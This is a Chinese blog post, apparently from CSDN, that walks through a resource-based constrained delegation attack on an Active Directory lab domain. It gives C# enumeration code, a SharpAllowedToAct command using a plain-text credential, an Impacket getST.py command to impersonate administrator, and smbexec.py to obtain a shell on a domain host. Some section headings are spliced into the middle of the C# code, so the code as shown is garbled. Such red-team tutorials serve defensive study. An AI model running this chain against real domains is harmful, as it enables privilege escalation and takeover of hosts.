域渗透之基于资源的约束委派

域渗透之基于资源的约束委派

注意:server2012才引入了基于资源的约束委派!!! 无需域管设置相关属性,请求ST的过程与先前的约束委派类似,传统的约束委派S4U2Self返回的票据一定是 可转发的,如果不可转发那么S4U2Proxy将失败;但是基于资源的约束委派不同,就算S4U2Self返回的票据 不可转发(可不可以转发由TrustedToAuthenticationForDelegation决定),S4U2Proxy也是可以成 功,并且S4U2Proxy返回的票据总是可转发 总之需要用户对主机的属性具备写权限

基于资源的约束委派原理

基于资源的约束委派(RBCD)是在Windows Server 2012中新加入的功能,与传统的约束委派相比,它不 再需要域管理员权限去设置相关属性。RBCD把设置委派的权限赋予了机器自身,既机器自己可以决定 谁可以被委派来控制我。也就是说机器自身可以直接在自己账户上配置msDSAllowedToActOnBehalfOfOtherIdentity属性来设置RBCD。 这里的关键就是谁可以修改属性

REDTEAM\hack -> WriteProperty(将机器加入域的账号,也就是mS-DS-CreatorSID属性中的账户) NT AUTHORITY\SELF -> WriteProperty(机器账户自身也可以修改) 我们再回顾一个知识点,默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加 多达10个计算机帐户,就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户 账户、服务账户、机器账户。

域环境

域管:dc1 10.10.10.142

备用域管:dc2 10.10.10.140

域用户1:12server1 10.10.10.152

域用户2: 12server2 10.10.10.138

资源委派攻击其他域主机获取system权限创建机器主机账号

首先查询域普通用户加入域的机子

cs代码:

![1](C:\Users\lenovo\Desktop\1.png)using System;
using System.Security.Principal;
using System.DirectoryServices;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
DirectoryEntry ldap_conn = new
DirectoryEntry("LDAP://dc=redteam,dc=club");
DirectorySearcher search = new DirectorySearcher(ldap_conn);
String query = "(&(objectClass=computer))";//查找计算机
search.Filter = query;
foreach (SearchResult r in search.FindAll())
{
String mS_DS_CreatorSID = "";
String computername = "";
try
{
computername = r.Properties["dNSHostName"][0].ToString();
mS_DS_CreatorSID = (new
SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();
//Console.WriteLine("{0} {1}\n", computername,
mS_DS_CreatorSID);
}
catch
{
;
}
//再通过sid找用户名
String UserQuery = "(&(objectClass=user))";
DirectorySearcher search2 = new DirectorySearcher(ldap_conn);
查询到加入域主机的 域用户
使用SharpAllowedToAct修改委派 工具下载 https://github.com/HPVCA/SharpAllowedToAct
获取服务票据
search2.Filter = UserQuery;
foreach (SearchResult u in search2.FindAll())
{
String user_sid = (new
SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();
if (user_sid == mS_DS_CreatorSID)
{
//Console.WriteLine("debug");
String username = u.Properties["name"][0].ToString();
Console.WriteLine("[*] [{0}] -> creator [{1}]",
computername, username);
}
}
}
}
}
}

编译代码生成exe

.\csc /out:D:\ConsoleApp9.exe "C:\Users\lenovo\Desktop\ConsoleApp9.cs"

查询到加入域主机的 域用户

 

使用SharpAllowedToAct修改委派 工具下载

GitHub - HPVCA/SharpAllowedToAct: Computer object takeover through Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity)

SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142
redteam.club

 

修改kali配置文件

 

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/hack\$:pass@123 -spn
cifs/12server2.redteam.club -impersonate administrator

 

 

获取域普通主机权限

export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k 12server2.redteam.club

 You complete me

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

夜yesec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值